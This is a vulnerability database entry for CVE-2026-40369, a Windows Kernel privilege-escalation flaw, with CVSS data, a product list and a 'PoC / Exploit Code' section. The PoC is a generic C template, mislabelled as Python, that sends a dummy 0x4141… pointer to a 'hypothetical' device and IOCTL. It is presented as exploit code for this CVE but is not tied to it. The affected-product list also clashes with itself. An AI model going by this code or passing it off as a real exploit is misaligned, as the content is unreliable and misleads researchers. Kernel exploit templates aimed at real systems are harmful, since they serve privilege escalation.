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CVE-2026-40369 CVSS 7.8 HIGH

CVE-2026-40369

Published: 2026-05-12 18:17:16
Last Modified: 2026-05-14 17:52:50

Description

Untrusted pointer dereference in Windows Kernel allows an authorized attacker to elevate privileges locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:arm64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:arm64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:x64:* - VULNERABLE
cpe:2.3:o:microsoft:windows_11_26h1:*:*:*:*:*:*:arm64:* - VULNERABLE
Windows 10 (Multiple Versions)
Windows 11 (Multiple Versions)
Windows Server 2019
Windows Server 2022

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#include <windows.h> #include <stdio.h> // Hypothetical IOCTL for the vulnerable kernel component #define VULNERABLE_IOCTL 0x222003 int main() { HANDLE hDevice; DWORD bytesReturned; // Attempt to open the device handle (Generic path for demonstration) hDevice = CreateFileA("\\\\.\\VulnerableDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } printf("[*] Sending malicious payload to trigger pointer dereference...\n"); // Buffer containing the untrusted pointer address // In a real scenario, this address would be crafted to point to specific memory char payload[0x20]; memset(payload, 0x41, sizeof(payload)); // For demonstration, assuming the first bytes are interpreted as a pointer *(ULONG_PTR*)payload = 0x4141414141414141; // Trigger the vulnerability BOOL result = DeviceIoControl(hDevice, VULNERABLE_IOCTL, payload, sizeof(payload), NULL, 0, &bytesReturned, NULL); if (!result) { printf("[-] DeviceIoControl failed. Error: %d\n", GetLastError()); } else { printf("[*] Payload sent successfully. Check for kernel behavior.\n"); } CloseHandle(hDevice); return 0; }

References

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